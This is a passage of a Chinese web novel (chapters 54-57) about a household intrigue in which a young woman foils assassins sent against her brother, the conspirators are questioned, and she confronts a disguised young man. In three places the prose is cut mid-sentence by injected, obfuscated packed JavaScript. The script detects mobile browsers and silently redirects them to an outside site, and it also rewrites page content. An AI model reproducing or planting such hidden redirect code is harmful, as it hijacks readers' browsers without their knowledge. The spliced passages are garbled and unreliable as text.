在许府阴沉的这段日子里,奉京城可是有大喜事要办,三位皇子的大婚前后几日,热闹非凡的办了一场接一场。 许良友与秦氏收到喜帖,携礼都去了,许家两兄妹对外称病缺席。 之前已经答应柳思思要亲自去为她添妆的,可言而无信了,只好写信致歉,并派人送去了一匣子首饰添妆。 过了半月有余,元硕北的伤好的差不多了,药膏是他自己抹的,许知韵是一点忙没帮上。 元硕北与许意延倒是相处和睦,两人皆爱看书,一人为了科考,一人纯是感兴趣,二人可以一整日不说话,只看书。 许知韵借着送点心、送茶叶、送衣服、送字画、送书籍,去过几趟。 没同元硕北说上几句话,不免有些失望。 原还以为他借着看书躲自己,后来看他专注的模样,时不时的问大哥几句注释,才明白这是真的喜欢。 前世,元硕北说他三岁开始启蒙识字,之后在何家更是请的名师教导,读过的书有几架子,大了后就不爱读了,因名家之作大多都读过,其余的皆千篇一律了,无甚意思。 越来越疑心元硕北,让月瓷去查查搏斗场二掌柜以往的事,可搏斗场因刺杀一事,暂时歇业了。 因许良友也在查,为了不引起他对硕北的怀疑,只好让月瓷越过搏斗场偷偷查,就会慢一些。 日头炙烤着院子一整日,哪怕落下许久了,余温还是让人觉得闷热。 水月在一旁打着扇子,许知韵看着从大哥那借来的书,元硕北看过的,一本记录山川河流的游记。 正看的入迷时,雨妈妈急匆匆而来。 54. 表姐的小心思 安静的花溪院,月季大簇大簇地竞相绽放,时而晚风拂过,花朵们你推我搡地嬉闹。 “唰…唰…”急促地脚步声,打断了院中花儿的窃窃私语。 “姑娘。”雨妈妈急忙进了屋子,见水月正摇着蒲扇,止住了话。 最近吩咐月瓷去查硕北的事,许府内就交给雨妈妈去照看,看雨妈妈欲言又止着急地模样,想必有事。 “镜花呢?”许知韵转过头问水月。 “镜花姐姐家里来了几位表亲,同姑娘请了两日假,姑娘忘了。”水月继续摇着扇子,回复道。 “是我忘了。” 想来是镜花家里人给她张罗亲事了,前世镜花在入秋前就出嫁了。如今院子里兰姨月瓷一概事宜皆是背着镜花的,即已知晓她会出府嫁人,就不想她牵扯太多,也是为了她好。 “水月,去门口守着,别让旁人靠近。” “是。” 水月也看出来了,雨妈妈有事同姑娘说,何事她无需管,她只管做好姑娘的吩咐就行。 见水月出去守门,雨妈妈忙上前,低声道:”姑娘,芳草居的庄嬷嬷趁着天刚黑的时候,出府了。” 庄嬷嬷,像是凭空冒出来的,前世就没弄清楚她究竟是谁的人,许曼能认识这般厉害的宫中嬷嬷? 雨妈妈继续道:“见她出门,便让小三丫在后边跟着,说是庄嬷嬷先去了一趟针线铺子,又转去两间成衣店,之后才偷偷进了苏府的后门。” “苏府,苏照临。” “是,小三丫机灵,问了路边的小乞丐,说苏府的老爷就是大理寺卿苏照临。” 小三丫是上回从胡子街买回来的小女娃,六七岁的孩子,瘦成皮包骨,能干什么活,许知韵怕她再累到伤了身子,便吩咐她盯着芳草居,还真是盯住了。 逮到庄嬷嬷了,她竟然也去了苏家,刺杀大哥的人就进了苏家,看来苏家真的要杀大哥,眼下看还不死心。 不能直接告知许良友,一怕他追问如何发现的此事,二是怕他身边有苏家派来的人,万一打草惊蛇,这条线索就断了。 只能等待时机,伺机而动。 既然庄嬷嬷去了苏府,必定是领吩咐去了,后边她必定会有所行动。 “妈妈,继续让三丫盯着,大哥那边的吃食秦氏管着应当无事,我们这边也要多注意。” “是。” 对于雨妈妈,除了元硕北以外的事,许知韵都没瞒着她,从前世就看得出来,雨妈妈是个忠心的人,帮过她的她都记得,不是忘恩负义之人。 ——— 如火球般的太阳,炙烤着整个奉京城,又连着月余无雨,又干燥又闷热,让人无处藏身。 朝廷近日又讨论起雨水短缺一事,南临那边还好不缺水,但北边十几个州,从入春开始就没下过几场雨。 田地干旱,稻苗不长,粮食不丰,农民就会暴乱,农事是根本,是国之根基,民若不聊生,国如何能稳固? 可高高在上的明贤帝并不在乎,也并未太在意,他已经派尤士子作法求雨了。 尤士子是前不久被请进宫的,不仅会炼丹画符,而且有预知卜卦的本事,最重要的是他对长生之道有自己的见解,区区求雨一事定不在话下。 最近吃了尤士子炼的丹药,明贤帝总觉得体内有气在窜,浑身发热,效果很好,他离长生又进了一步。 底下的朝臣议论不断,适才还说求雨一事,之后又提议立太子,还说是因不立太子,国之根基不稳,天才不降雨的。 谬言!胡扯! 面色铁青的陛下,沉默不语,心中愤懑。 又是立太子,这帮臣子何事都能拐到立太子一事上,是觉得他这个陛下活不久吗? 顿时,感觉心底的一股火猛然上窜,一口血咳了出来,本就被气得发晕,又见到自己口吐鲜血,当即晕了过去。 殿内一片慌乱,太监是连滚带爬地去请的太医,所幸经太医诊治,陛下并无大碍,只是气血攻心,修养几日便可。 这些宫里的传言,是月瓷在茶馆酒楼听到的。一早发生在皇宫里的事,不出一个时辰,就传到坊间了,这背后有多少双手推动啊? 烫屁股的皇位,不少人争强呢? ——— 翌日一早,秦氏照常送了早饭,日日不同,也是翻着花样做了送来的。 许知韵没像往日一般悠闲,边吃边等着雨妈妈的消息。 不多时,雨妈妈赶了回来,因焦急脸上渗出汗来,她朝许知韵点点头。 看来庄嬷嬷等不急了,这么快就准备动手了。 带着水月进了兰姨的屋子,兰姨在院中甚少出屋,不过日日都能见阿韵,她就很满足了。 屋外,雨妈妈守着门,用帕子擦着脸上的汗,心里惴惴不安。 屋内,兰姨一脸茫然疑惑着,见月瓷换上了水月的衣服,还算合身只是短一些,并不打紧。 水月跟兰姨相处的融洽,哪个长辈不喜欢圆脸胖乎嘴甜的小丫头呢。 水月在知道月瓷的名字中也有个“月”字后,对月瓷就格外亲切,不过只是她一头激动,月瓷一直很淡漠。 换好衣服后,许知韵就带着月瓷同雨妈妈去了大哥的松林院。 月瓷一直着男衫,方便动手,极少穿过女子衣裙,走一步拽一下裙子,晃两下带着一只银钗的脑袋,看着十分不适应新装扮。 离大哥的院子不算远,待走近时,就听见周心颜的声音了。 许曼母女俩一直不想离开许府,去庄子上住,离开了许府,那些攀高枝的欲望就真的会泡汤。 因刺杀一事,许良友并未理会许曼这个姐姐,其实是退了一步,国公府是不可能来提亲的,周心颜的名声尽毁,奉京城内是无人肯要周心颜的,许良友觉得他也有责任,养着姐姐与外甥女一辈子也好。 可这母女俩怎会甘心。 只听周心颜脆弱的小声音传来。 “表哥,与你单独说几句话就行,不会耽误你太久的。我只有这一个小小的请求,你还不同意吗?”周心颜低垂着眸,语气带着恳求。 一副我见犹怜的模样,任铁石心肠之人也不忍拒绝。 可她偏偏遇上方正固执的许意延,许知韵都替这个表姐难过。 只听大哥义正言辞地道:“表妹不可,男女大防,你是个姑娘家,我要顾及你的名声,在此处说即可,也无外人的。” 后又指着元硕北,给周心颜引 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008339|133602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荐道:“这位是前几日来的表哥,表妹亦可同我一同称呼。” 周心颜忙福身一礼,没有再注意这个带着面具的外人,又立马转过头对许意延道:“表哥,有些私密的话,不好当着这位表哥说,请表哥同我去屋内…” “你想说什么?” 在院子外的许知韵实在是听不下去了,这个周心颜蠢到家了,是以为谁都看不出来她的小心思吗,孤男寡女的想做什么? 周心颜眉心一愣,见许知韵也来了,惊慌失措下想尽快离开,可又不死心。 “我只是想同表哥说几句话,表妹就如此看不上我吗,连说几句话的机会也不给我吗?” 说完她就抹着帕子哭了起来。 学聪明了呢,走迂回可怜的路线了。 但凡有法子,周心颜都不会露出一点儿可怜的模样。 她实在是没法子了,只能放手一搏,庄嬷嬷帮着出谋划策,想的是同表哥单独进屋,然后脱了衣服倒在表哥怀里,叫庄嬷嬷此时进来,坐实两人有了肌肤之亲,那样表哥就不得不娶她了,做妾也可以。 可一进松林院,就见表哥同一面具男在此赏竹,她一再要求与表哥单独说话,可表哥迟迟不同意,还没劝说成功,杀千刀的许知韵又过来了。 “只是想说几句话,表姐大可以去求我母亲,母亲宽厚定会同意,可你如今换上丫鬟的衣服偷跑了过来,这是为何呢?” 周心颜不仅身边带着一个庄嬷嬷,还带着一个面生的丫鬟,从未在芳草居见过,想来就是昨晚偷偷进府的,月瓷发现的,说是会些功夫。以防万一,这才将月瓷一同带过来。 许知韵一步步走近,直接上手扯了扯周心颜的衣服,不屑地道:“我记得父亲下令,不让姑母与表姐踏出一步芳草居,怎么,表姐是连我父亲的话也不听了吗?” 语气威严,带着不容置疑。眼前的一幕幕虽不可随意评判,但许二姑娘着实不恭敬且无礼,对许二姑娘的看法又差了一分。 “表哥,你就看着表妹这般羞辱我吗?我日日想念表哥,只想见表哥一面而已,这难道有错吗?我也是你的妹妹啊…”周心颜竟然跪下了,跪在许意延的脚边,哭得声嘶力竭。 许意延惊吓地退后几步,六神无主,茫然的呆住。 面具后面的元硕北见此情形,内心实在是疑惑不解,又大为震撼,想到许二姑娘对他也是这般,追着他后面不停地问,渴不渴饿不饿。 许府内的姑娘养得豪放啊,见男子直白又大胆。 许知韵见状直接又一次挡在许意延身前,脸色一冷,目色如刀。 前世,大哥受伤后郁郁寡欢,一直躲在屋子里不出来,周心颜就站了出来,说她对大哥早已芳心暗许,不嫌弃大哥,这辈子只愿陪在大哥身边。 秦氏被她的一片真心感动,也存了私心,想着毕竟是亲外甥女,还有深厚的感情,怎么都会对大哥好的。 可是后来,周心颜并没有做好许家妇,找了不只一个奸夫,给大哥带了不少绿帽子,这也就算了,还当着许府的下人面前,骂大哥是废物。 事发后,许良友要将周心颜津猪笼,是大哥觉得愧对于她,求了情,只是将周心颜关在庄子上,这辈子不再放出来。 55. 大哥被刺杀的命 松林院,挺拔的竹子在风中簌簌作响,竹影下立着的几人焦灼的对峙着。 周心颜跪在石板上,泪珠挂在惨白寡淡的脸上,楚楚可怜,见许知韵移步挡过来,眼神变得狠戾起来。 就是这个讨厌的女人,她的突然出现扰乱了母亲所有的计划,让她的名声尽毁,让她得到的富贵生活就此中断,从云端到地狱,都是许知韵的错。 任谁都能看出此时周心颜眼底的不甘、愤怒。 从来都不喜欢这个所谓的表姐,但她罪不至死,若周心颜此生不再打大哥的主意,也不想着对付她的话,许知韵之后也不会再理会她们母女。 可这对母女不仅蠢,还偏偏爱找事。 不太知情的又茫然无措的许意延,只觉得妹妹如明月高山,一次两次挡在他身前,就是他的守护神,他真的很感动。 若妹妹日后犯错,他想好了何事都会替她担着。 此时,急促地脚步声由远至近传来,细碎的声音能约摸出,来的不止一人。 三丫将话传到翡翠居了,再加上秦氏自己的人看着芳草居,哪怕空缺来风,秦氏也会带着人前来看看。 她绝不允许任何人伤害她的好儿子。 察觉到脚步声的刹那间,一人影跃起,是那个面生的丫鬟,她狠狠地将许知韵推开,一把匕首在斑驳的竹影下闪着光,目标明确地刺向许意延。 “月瓷…” 被推倒的许知韵,在将要倒下时,元硕北眼疾手快地接住了她,两人倒在地上时,依稀地见到匕首亮闪闪的光。 只差一寸,月瓷及时挡住,卸刀、控手、转身踢腿重击,将刺杀的丫鬟踩在脚下。 挡住了。 笔直僵硬站住的许意延,似乎失了神,又是杀他的。 像是被吓傻了,只有他自己清楚,他之前经历过,有经验了,很快就回过神来。 这时,角落处不起眼的庄嬷嬷跟一阵风似的,边跑边从袖中掏出另一把匕首,也朝着许意延刺去。 还来…,不死不休啊。 许知韵眼角跳动,她都怀疑许意延做了什么伤天害理之事,让仇家不杀死他不罢休。 这个大哥,她许知韵一定要救,见庄嬷嬷跑过来,她躺在地上无法及时站起来,只好快速爬过去,定要拉住庄嬷嬷的脚,绊住她就好。 还是主仆心有灵犀,雨妈妈也是这般想的,只见她往前一跳,想扑过去拉住庄嬷嬷。 可此刻的庄嬷嬷灵活闪躲,快她们一步,躲过了障碍,直刺了过去。 “哐当”一声。 匕首掉在地上,庄嬷嬷的手吃痛地蜷缩在一起,许意延反应过来,一脚踹开庄嬷嬷。 月瓷又上去补了两脚,让她动弹不得。 “啊…” 匆匆赶来的秦氏,一进院子,就见庄嬷嬷拿着刀刺向许意延,她没停顿一刻,急忙跑过去,想挡着那把刀。 可离得太远,眼见要刺到延儿了,她恨自己无用,她就要疯了,下一刻,庄嬷嬷停住了,接着被一个丫鬟狠狠地踹着。 秦氏冲过去抱着许意延痛哭,跟着来的几个婆子皆震惊住了,张着大嘴不可置信,她们看到的是真的吗,像戏本子里刺杀的戏码,出现在许府。 “还不把人捆了。”李嬷嬷语气颤抖,强支撑着心神大声道。 有了主心骨,松林院有序起来,拿出绳子将周心颜在内的三人绑了个严实。 被五花大绑的周心颜,早已傻了,她带着庄嬷嬷来,只想让她帮忙,助她一臂之力,好顺利嫁进许府。 好不容易说服许曼,周心颜才带着庄嬷嬷来找表哥,至于这个面生的丫鬟,庄嬷嬷说她跑得快,能最快地冲进去,让旁人看到她和表哥抱在一起。 跑得快的丫鬟为何要杀表哥,她带着的二人都要杀表哥,那岂不是引狼入室,那她还能嫁给表哥吗,不…表哥是舅舅的命根子,舅舅不会放过自己的。 当她拼命想喊自己冤枉时,嘴已经被堵住了。 “派人去请夫君回来,找几个有力气的去芳草居,把许曼绑过来。” 止住眼泪的秦氏清醒了不少,此时还不是哭的时候,她是母亲,有责任要保护自己的孩子,她必须要揪出元凶。 许知韵早被雨妈妈扶了起来,倒下时元硕北垫在身后倒没受伤,可适才想爬过去拽住庄嬷嬷时,双手蹭到石面上了,十指不沾阳春水的手娇嫩了些,也没爬几步,两双手红通通的渗着血丝。 雨妈妈轻轻吹着,想叫府医来看看,可此时不大是时候,毕竟还是大公子的命重要些,再让姑娘等一会儿。 许意延是瞧见的,忙过来看看,担心道:“妹妹如何了,手可受伤了?” 秦氏注意到了,忙叫人去请府医,她进院子时,不知之前发生了什么,二姑娘倒在地上,即便如此,她也想去挡着庄嬷嬷,真是个好孩子。 听到传府医过来,元硕北微怒的心缓了下来,他早就瞧见那双硌出印子的手,用一分力就能掰断的芊芊玉手,还想着去拽那个力大的嬷嬷。 愚蠢至极。 捡起身边的石子,直接打到那个嬷嬷的手腕处,刀直接就掉下来了,这样不是更好。 月瓷将脚下的人交给几个婆子后,就悄声地走到许姑娘身后了。 院子里一阵忙乱,只有元硕北望了几眼她,旁人都没太注意她。 月瓷可是瞧见公子两眼直盯着许姑娘的双手,关心的眼神是做不得假的。 她就知道,公子见到许姑娘就会方寸大乱。 太阳高挂,竹林已经挡不住光了,院内的人感觉不到热,只觉得冷汗浸湿全身,后怕的很。 不好让许府的人都知晓此事,秦氏打算就在松林院审这几个人。 让几个力大的婆子,将人带到屋里去。 可过去拽那个面生的丫鬟时,她原是跪在那的,可一拽整个人扑通倒在地上,顿时七窍流血。 给几个婆子吓坏了,“啊啊—”大叫起来,李嬷嬷忙去制止。 “人死了。”李嬷嬷伸出手探了探此人的呼吸,随即摇头道。 敢派出来的杀手,即便活着也问不出什么,许知韵倒是好奇趴在地上的庄嬷嬷,怎没在嘴里藏个毒,至少这个死法不受苦。 庄嬷嬷闭着眼,看不出表情,被扶起来时,腰间的同心结不甚掉在地上,绛色连环回文式的同心结,很普通的样式。 许知韵撇了一眼身边的雨妈妈,雨妈妈立马明白,几步过去,将同心结捡起来,递给二姑娘看。 确实普通,打法有些老旧。 被拽着往屋里走的庄嬷嬷倒是老实,没注意丢了东西。 秦氏派了几个心腹守着松林院,一转身瞧见了元硕北,也知他与延儿这些日子相处的不错,但毕竟不知根知底的,此事还是要避着点他。 “让石公子受惊了,照顾不周还请石公子见谅,只是此事毕竟关乎延儿,还望公子能将此事忘记。”秦氏神色严肃,诚恳道。 “是,石某明白, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078170|133602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定不会乱说。” 元硕北拱手离开,想着他确实算是外人,不好留在此处等结果,虽然他很想从那个老嬷嬷嘴里问出点什么。 见石公子识大体懂规矩,她也放心了一分,适才场面太惊心动魄,松下来的秦氏挪步时险些摔倒,被许意延扶进屋里。 元硕北独自一人走出院子,心里不禁琢磨,许府究竟得罪谁了? 许知韵想追出去,同他说几句话。可被雨妈妈挡住了,“姑娘,府医来了,快让她上点药,晚了仔细手疼。” 许知韵只好点头,此事过后,再去找元硕北好好谈谈。 雨妈妈扶着姑娘进屋,她可不想二姑娘总围着铁面公子转,姑娘的心思全在脸上,少女怀春很正常,可姑娘金贵,不好总主动上前,老吃闭门羹。 在府医给许知韵上好药后,许良友赶了回来,朝服都没来得及换。 肃穆着一张脸环视了一圈,许曼被五花大绑的捆着,早一刻钟送过来的,困惑中夹杂着愤怒,即便周心颜未成功,秦氏也不能如此折辱她。 嘴被堵住,无法为自己辩解,只能“呜呜”的呻吟,为自己叫屈。 许意延将院内发生的经过,细细地道出来,一字一句从口中而出,个中惊险光听着就够吓人的。 上首坐的许良友,周遭空气已凝结成霜,手握紧的咔咔响声,无言地诉说着愤怒。 他同秦氏想的一样,为人父母,竟护不住自己的儿子。 这个儿子从小就懂事,让他考取功名,他便日以继夜的读书,不分暑夏寒冬,从不叫苦叫累,他的儿子就是他的心血,是他的期盼,是他许良友自立门户后的顶梁柱。 可竟然有人一而再、再而三的想要他的命,愚蠢的亲姐姐还参与其中。 “啪—”茶盏飞溅,落在许曼与周心颜的身旁。 一声响震醒了许曼,她没想到事情会是这般,她的女儿只是想嫁进许府,绝不可能想杀她未来夫君,此时此刻,她才觉得自己被人利用了。 她挣扎着身躯,想为她和女儿道句冤枉。 许良友抬手,婆子忙将许曼嘴里的布团拿出来。 “弟弟,这不是我做的,我们母女被别人陷害的,你最是聪慧的,一定清楚这不是我们做的。” “够了,许曼,要不是你们,旁人能轻易进了许府的门,你还有脸说不是你害的。” 秦氏忍不住脱口而出,之前她顾及夫君的面子,一再容忍许曼指手画脚,最后害的是自己的儿子。 “弟妹,我怎么会害意延,我…” “庄嬷嬷是谁的人?”许良友直接打断,冷冷地问。 可算问到关键处了。 许曼憋的脸通红,吞吞吐吐地道:“就是我…从外面…。” “快说,说实话!” 声音巨大,震得人头皮发麻,许良友强压着怒火。 “是,是。”许曼从未见过弟弟这般生气过,惊吓的身子缩在一起,继续道:“是苏夫人她送给我的,她说是宫里出来的嬷嬷,对付人有一手,就给我…” “苏夫人?” “大理寺卿苏照临的夫人?” 许曼点头说“是”。 苏照临与许良友并无龃龉,也无利益纠葛,更无前尘恩怨,甚至于同朝为官多年,都不曾说过几句话。 何怨何愁,要杀人儿子? 任谁都不会轻易相信。 “如何认识的,之后是怎么联系的?你最好老老实实说清楚。” 56. 热脸贴上大冰山 夏日午时,一日中最热的时候。 烈日炙烤着许府院内行走的人,厨房烧火的小丫头腿脚快,去松林院来回跑了两趟,一进了后厨房,灌下去一碗水后才无奈地摇头。 许府的主子在松林院议事,一直未叫摆饭,厨娘热了三四遍,就怕耽误主子们用饭。 松林院格外宁静,几个心腹婆子将院子守得严实,连只苍蝇都不敢放进去。 许曼抽抽涕涕地将与苏夫人认识的经过,全倒了出来。 无非就是被人家盯上,几句好话外加金银首饰,就推心置腹,姐姐妹妹热情地叫在一起。 苏夫人还带着许曼去放印子钱,官员家属掺和这事,会被御史参一本的,此事不算大,可就怕这事是压死骆驼的最后一根稻草。 在许良友凶狠严厉地眼神下,许曼也说出了沈老太君府里,周心颜私会郭政业一事,原是想害许知韵的,不巧被周心颜误闯进去打乱了计划。 许知韵偷偷望了几眼上首的亲爹。 灰紫色的脸,连嘴唇都透着紫青色,当真是被气惨了,真怕许曼再说些什么,这个爹怕是要请御医了。 许知韵也一直瞧着庄嬷嬷,她很镇定,稳稳地跪在那听着。 待许曼说完,屋内悄无声息、一片寂静。 许良友扶在椅子上的手都在抖,这一刻他陷入到自我怀疑中,被恭顺伯府抛弃的姐姐他收留了,没换来感谢就算了,竟然是了一条毒蛇,随时想要他的命。 着人将许曼母女俩带到柴房先关起来,之后发落。 母女俩还在挣扎,泪水连连,浇满全身,许良友只是面无表情的看着,看不出心痛不忍,平静的外表下早动了杀意。 在许曼母女被拽出去时,庄嬷嬷明显松了一口气,可见许曼说出来的都不是要紧的。 许曼是蠢的,细小的事发现不了,看样子庄嬷嬷没吞个毒药,是看着许曼不要说出什么重要的事。 除了苏家还有旁的事,许曼没在意就露掉了。 被拿出布团的庄嬷嬷,摆出一副死猪不怕开水烫的模样,梗着脖子藐视着屋内坐着的主子们。 秦氏恨不得拿刀砍了她,着急道:“庄嬷嬷,把你知道的说出来,别以为你不说,我们就没辙了。” “没什么可说的,许大人得罪太多人,断子绝孙都是轻的。”庄嬷嬷呸了一口,直言说道。 “你…这个刁仆,真是胆大妄为。” “奸臣当道,这是为民除害,不少人是要谢我这个老仆的。”庄嬷嬷越说越离谱,也越大声,生怕屋内人听不见。 看这模样也问不出什么,一看就知是个硬茬子,就该乱棍打死。 只好关起来慢慢审,就不怕撬不开这张铁嘴,许良友不想当着夫人孩子的面动私刑,刚想吩咐带下去。 许知韵端起桌前的茶盏想喝一口,不料从袖中调出一物件。 屋内实在是安静,许知韵掉了东西,轻轻“呀”了一声,雨妈妈忙低头去捡。 正在这时,认命被拽出去的庄嬷嬷,见到地上的物件,疯了一般地挣脱着想去捡起来,两个婆子用力地押着她。 任谁都能看出来庄嬷嬷适才故意口出恶言,为的就是求一死。 可瞧见二姑娘掉下来的物件时,立马变得异常起来,几人都好奇的去瞧是什么。 “妹妹,那是什么?”许意延离得近些,好奇地问了出来。 “大哥,就是个同心结,适才从庄嬷嬷身上掉下来的,我便拾起来,顺手放到袖子里。” “拿过来。”许良友发话。 雨妈妈利落地递了过去。 很普通的同心结,许良友翻来覆去仔细看,也没瞧出关键。 能让庄嬷嬷大惊失色,必定对她而言是个重要的物件,有这个东西没准能逼着她说几句实话。 “关起来,着人看着,不能让人死了。” 紧接着两个婆子用力拽着庄嬷嬷出去,可就在她起身的那一刻,犹如奔牛奋力挣脱缰绳,一头撞向门框。 只听“哐”一声,竹林里的鸟儿惊的一窝蜂飞走了。 ——— 和煦的风,吹散了如棉花状的云,澄澈的天空宛如清浅的湖面,透着光亮。 一连三日,许府上下清扫了数遍,秦氏又命人用檀香将府里的屋子熏个遍。 许意延搬出了松林院,他舍不得那片竹林,但也不忍拒绝,怕惹母亲又伤心。 遂搬到花溪院附近的听雨阁,比松林院小了两倍不止,秦氏也同意了,当日就着人将一应物件搬过来。 那日发生的事,只有几个心腹婆子知道,若府里有人议论,直接发卖,整治一番后,谁都不敢提。 至于许曼母女,月瓷说是趁夜送走了,跟了一夜都没见马车停过。对外就说病了,周心颜孝顺恭谨,衣不解带日日在床前照顾,日子久了,谁都不会在意一对没有背景的母女。 正值午时,许意延又到花溪院用饭。 他读书很累,可自己吃饭总会想到那日庄嬷嬷身前的一摊血,一点儿都吃不下去。 母亲也是,多日以来吃不下东西,饿了只吃两口糕饼,便又吐了出来。 在花溪院就好些,因许知韵吃的香,并没有因那日溅出的血花受任何影响。 妹妹食欲好,吃食也讲究,午食十几道菜,荤素搭配,冷热皆有,他跟着也能吃上点,毕竟读书还是费力气的,不吃饱眼会花。 “我瞧妹妹吃的不少,倒是不胖。”许意延见她吃着冰糖肘子专挑肥肉吃,不免打趣道。 许知韵又夹了一块白切鸡,慢悠悠地道:“我一会儿还要去学琴,辛苦的很,要多吃些。大哥吃的倒是少,可怎么这几日脸胖乎不少?” 他哪里是脸胖,明明是肿了,已经好几个晚上没睡好了。 眼见着匕首刺向他,又亲见了庄嬷嬷的死,他还能读下书,已经够顽强了。 还有妹妹竟然说去学琴,琴艺真不敢恭维,曲调一点儿听不出来,都说名师出高徒,他觉得李先生的招牌要砸了。 许意延一脸惆帐,俊朗的面容瞧着比苦瓜都苦。 “大哥,想的太多了。这么多人想杀你,你如今还无事,说明你吉人自有天相,这等好命还怕甚,过些日子乡试必定是解元,明年春闱没准就是状元了。” 好话谁都爱听,一会儿解元,一会儿状元的。 听的许意延咧着嘴笑。 倒不是科举高中的好话,而是妹妹的关心,与母亲一样,都希望他好,不要过分在意害怕最近的事。 话糙理不糙,多日的阴霾似乎也散了些。 见妹妹心情不错,许意延接着道:“石公子伤已大好,他谢绝了父亲的好意,不愿留在府内做门客,父亲答应他将卖身契还给他,权当谢他的救命之恩。” 许知韵依旧夹着冰糖肘子吃,炖了一个时辰的肘子香甜软烂,一口下去唇齿留香。 “石公子托我来拿卖身契。” 许意延边说边瞧着妹妹的表情,即便他是个书呆子,也看出来妹妹对石公子有些情意,他害怕妹妹伤心,但已答应帮石公子拿回身契,就要言出必行。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101374|133602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“一会儿我找出来就给他送过去,顺便谢谢他。”许知韵放下筷子,不紧不慢地道。 许意延点头,起身走了出去,可走了两步,又不放心道:“我信妹妹说到就会做到。还有,石公子是很优秀,可父亲不会愿意看到你与他有过多交往的。” 也只能多说几句,在石公子离开前,妹妹见上一面也好道别。 搏斗场的二掌柜,无家室无背景,无学识无功名,空有一把子力气,许良友当然看不上了。 他早就叮嘱许知韵,无事不要去前院,许知韵只好装傻继续去,反正许良友忙到不回家,暂时顾不上她。 硕北要离开许府,怎么都该见一面。 许知韵自己摇着团扇,看了几眼桌子上元硕北的身契,嘴角扬起几抹笑。 身契是真的,石头这个名字也是真的。 在奉京城多年屹立不倒的搏斗场,会怕她一个小小贵女,主动送来身契,还不要银子。 怎么看搏斗场跟元硕北都像是一伙的,即便不清楚为何要用这个身份,但隐藏的很好,至少元修止一直未发现他,也幸好硕北换了这个身份。 之后也没必要再叫月瓷去查硕北之前的事,能放出来的消息,多半是故意编造出来的。 ——— 午后更加闷热,连蝉都不爱叫了,走过廊芜,身上就起一层薄汗,水月跟着姑娘身边摇着扇子。 去前院无非又是去看石公子,水月跟着姑娘去了几回,回回都见姑娘热脸贴上大冰山。 那个石公子即便带着面具都挡不住散发寒气,她都怀疑姑娘是太热,故意见石公子为了解凉的。 客房的小厮见二姑娘来也习以为常了,他是下人管不得主子姑娘,只管做好自己的本分就行。 “给二姑娘请安。” “石公子可在屋里?” “在的,并未出去。”小厮客气回话。 几步就到了门前,还未敲门,门打里边开了。 元硕北一脸严肃,沉声道:“二姑娘来可是有事?” 明明前世是个温润清朗的少年,如何变的这么冷漠了,只是讨厌她吗? “有事,屋外太热了,难道石公子要让我在外面说?”许知韵抬起头,尽量平静和缓,控制心底的落差。 元硕北只好侧身让路,娇滴滴的姑娘在太阳底下多说几句话,没准会晕倒。 屋内凉气迎面而来,清凉透爽,秦氏早就吩咐客房用上冰,即便外面的冰价贵的离谱,对于救命恩人是毫不吝啬。 许知韵走到桌前坐了下来,将带来的身契拿出来放到桌上:“石公子,这是身契还给你。” 元硕北跟着后面,心里的石头落下来,他还以为二姑娘不会给他呢。 “多谢二姑娘。” 许知韵示意水月去门口等着,又起身朝元硕北屈身福了一礼:“多谢那日公子出手,挡了庄嬷嬷的刀,我见公子未提此事,想来公子是不想过多参与许府的家事,便也闭口不言。” 元硕北没想到二姑娘会看到,那日院子里太乱,普通人怎会注意,想来是她身边那个会武的丫鬟瞧出来的。 他不想挟恩图报,之前救兄妹二人是不忍心,换回身契也算还了他的恩情。 那日不得已又救了一次,更不想要何回报,许家兄妹二人情深,他是真的不忍看她们分别。 “有些事也该谈谈了。”轻飘飘的一句话从二姑娘口中传过来。 何事? 元硕北不免心里乱跳,他与她能有何事?不会因着救了人…她想…以身相许? 57. 多情女无情汉 屋内二人一站一坐,相互疑惑的打量着对方。 一路顶着大太阳,许知韵福礼后,大方坐在八仙桌旁歇歇,也等着硕北坐下。 谁料此人怔然立在那,隔着面具也不清楚是什么表情,感觉是愣住了。 “石公子,请坐。” 许知韵只好客气的示意一下,心里难免不是滋味,硕北讨厌她到不肯同一桌相谈? 被唤石公子的元硕北,冷静下来,宽慰自己,怎么说她都是高官家的女儿,定不会上赶子为自己说媒的。 见他坐下,许知韵直截了当地说着过来的目的:“戚容戚公子我认得,想是他也跟你提到过我,只是你没当回事。”许知韵明目张胆的望着对面的男子,见他瞳孔微缩,继续道。 “元硕北,我也认得你。” 下一刻,银光一闪,元硕北袖中的匕首就搭在许知韵的脖颈处,白皙柔嫩的肌肤上立显一道血印。 “许二姑娘,知道的太多会丢命的。” 阴沉带着狠戾的声音,能看出手持匕首的人心情很不好。 其实许知韵可以慢慢来,一点一点放出朝中的消息,吸引戚容或是硕北来主动找他。 